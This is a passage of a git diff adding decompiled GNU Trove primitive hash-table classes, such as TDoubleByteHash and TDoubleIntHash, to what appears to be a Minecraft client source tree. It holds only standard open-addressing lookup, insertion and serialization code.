+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TCharProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TCharShortHash
+  extends TPrimitiveHash
+{
+  public transient char[] _set;
+  protected char no_entry_key;
+  protected short no_entry_value;
+  
+  public TCharShortHash()
+  {
+    no_entry_key = '\000';
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TCharShortHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = '\000';
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TCharShortHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = '\000';
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TCharShortHash(int initialCapacity, float loadFactor, char no_entry_key, short no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public short getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new char[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(char val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TCharProcedure procedure)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(char key)
+  {
+    byte[] states = _states;
+    char[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeChar(no_entry_key);
+    
+
+    out.writeShort(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readChar();
+    
+
+    no_entry_value = in.readShort();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TDoubleByteHash.java b/src/minecraft/gnu/trove/impl/hash/TDoubleByteHash.java
new file mode 100644
index 0000000..7eb65df
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TDoubleByteHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TDoubleByteHash
+  extends TPrimitiveHash
+{
+  public transient double[] _set;
+  protected double no_entry_key;
+  protected byte no_entry_value;
+  
+  public TDoubleByteHash()
+  {
+    no_entry_key = 0.0D;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleByteHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0D;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleByteHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0D;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TDoubleByteHash(int initialCapacity, float loadFactor, double no_entry_key, byte no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(double val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeDouble(no_entry_key);
+    
+
+    out.writeByte(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readDouble();
+    
+
+    no_entry_value = in.readByte();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TDoubleCharHash.java b/src/minecraft/gnu/trove/impl/hash/TDoubleCharHash.java
new file mode 100644
index 0000000..0f30486
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TDoubleCharHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TDoubleCharHash
+  extends TPrimitiveHash
+{
+  public transient double[] _set;
+  protected double no_entry_key;
+  protected char no_entry_value;
+  
+  public TDoubleCharHash()
+  {
+    no_entry_key = 0.0D;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleCharHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0D;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleCharHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0D;
+    no_entry_value = '\000';
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TDoubleCharHash(int initialCapacity, float loadFactor, double no_entry_key, char no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(double val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeDouble(no_entry_key);
+    
+
+    out.writeChar(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readDouble();
+    
+
+    no_entry_value = in.readChar();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TDoubleDoubleHash.java b/src/minecraft/gnu/trove/impl/hash/TDoubleDoubleHash.java
new file mode 100644
index 0000000..07bb6c9
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TDoubleDoubleHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TDoubleDoubleHash
+  extends TPrimitiveHash
+{
+  public transient double[] _set;
+  protected double no_entry_key;
+  protected double no_entry_value;
+  
+  public TDoubleDoubleHash()
+  {
+    no_entry_key = 0.0D;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleDoubleHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0D;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleDoubleHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0D;
+    no_entry_value = 0.0D;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TDoubleDoubleHash(int initialCapacity, float loadFactor, double no_entry_key, double no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(double val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeDouble(no_entry_key);
+    
+
+    out.writeDouble(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readDouble();
+    
+
+    no_entry_value = in.readDouble();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TDoubleFloatHash.java b/src/minecraft/gnu/trove/impl/hash/TDoubleFloatHash.java
new file mode 100644
index 0000000..948e64a
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TDoubleFloatHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TDoubleFloatHash
+  extends TPrimitiveHash
+{
+  public transient double[] _set;
+  protected double no_entry_key;
+  protected float no_entry_value;
+  
+  public TDoubleFloatHash()
+  {
+    no_entry_key = 0.0D;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleFloatHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0D;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleFloatHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0D;
+    no_entry_value = 0.0F;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TDoubleFloatHash(int initialCapacity, float loadFactor, double no_entry_key, float no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(double val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == key)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != key));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeDouble(no_entry_key);
+    
+
+    out.writeFloat(no_entry_value);
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    no_entry_key = in.readDouble();
+    
+
+    no_entry_value = in.readFloat();
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TDoubleHash.java b/src/minecraft/gnu/trove/impl/hash/TDoubleHash.java
new file mode 100644
index 0000000..a4054d6
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TDoubleHash.java
@@ -0,0 +1,292 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.Constants;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.util.Arrays;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TDoubleHash
+  extends TPrimitiveHash
+{
+  public transient double[] _set;
+  protected double no_entry_value;
+  
+  public TDoubleHash()
+  {
+    no_entry_value = Constants.DEFAULT_DOUBLE_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0.0D) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_value = Constants.DEFAULT_DOUBLE_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0.0D) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_value = Constants.DEFAULT_DOUBLE_NO_ENTRY_VALUE;
+    
+    if (no_entry_value != 0.0D) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+  public TDoubleHash(int initialCapacity, float loadFactor, double no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_value = no_entry_value;
+    
+    if (no_entry_value != 0.0D) {
+      Arrays.fill(_set, no_entry_value);
+    }
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(double val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(double val)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(double val)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(val) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if (states[index] == 0)
+      return index;
+    if ((states[index] == 1) && (set[index] == val)) {
+      return -index - 1;
+    }
+    
+    int probe = 1 + hash % (length - 2);
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    if (states[index] != 2)
+    {
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] == 1) && (set[index] != val));
+    }
+    
+
+
+
+    if (states[index] == 2) {
+      int firstRemoved = index;
+      while ((states[index] != 0) && ((states[index] == 2) || (set[index] != val)))
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      }
+      return states[index] == 1 ? -index - 1 : firstRemoved;
+    }
+    
+    return states[index] == 1 ? -index - 1 : index;
+  }
+}
diff --git a/src/minecraft/gnu/trove/impl/hash/TDoubleIntHash.java b/src/minecraft/gnu/trove/impl/hash/TDoubleIntHash.java
new file mode 100644
index 0000000..da0d817
--- /dev/null
+++ b/src/minecraft/gnu/trove/impl/hash/TDoubleIntHash.java
@@ -0,0 +1,341 @@
+package gnu.trove.impl.hash;
+
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.procedure.TDoubleProcedure;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class TDoubleIntHash
+  extends TPrimitiveHash
+{
+  public transient double[] _set;
+  protected double no_entry_key;
+  protected int no_entry_value;
+  
+  public TDoubleIntHash()
+  {
+    no_entry_key = 0.0D;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleIntHash(int initialCapacity)
+  {
+    super(initialCapacity);
+    no_entry_key = 0.0D;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+  public TDoubleIntHash(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+    no_entry_key = 0.0D;
+    no_entry_value = 0;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public TDoubleIntHash(int initialCapacity, float loadFactor, double no_entry_key, int no_entry_value)
+  {
+    super(initialCapacity, loadFactor);
+    this.no_entry_key = no_entry_key;
+    this.no_entry_value = no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryKey()
+  {
+    return no_entry_key;
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryValue()
+  {
+    return no_entry_value;
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _set = new double[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  public boolean contains(double val)
+  {
+    return index(val) >= 0;
+  }
+  
+
+
+
+
+
+
+
+  public boolean forEach(TDoubleProcedure procedure)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(set[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+
+
+
+
+  public void removeAt(int index)
+  {
+    _set[index] = no_entry_key;
+    super.removeAt(index);
+  }
+  
+
+
+
+
+
+
+
+
+  protected int index(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
+    int hash = HashFunctions.hash(key) & 0x7FFFFFFF;
+    int index = hash % length;
+    
+    if ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)))
+    {
+
+      int probe = 1 + hash % (length - 2);
+      do
+      {
+        index -= probe;
+        if (index < 0) {
+          index += length;
+        }
+      } while ((states[index] != 0) && ((states[index] == 2) || (set[index] != key)));
+    }
+    
+
+    return states[index] == 0 ? -1 : index;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  protected int insertionIndex(double key)
+  {
+    byte[] states = _states;
+    double[] set = _set;
+    int length = states.length;
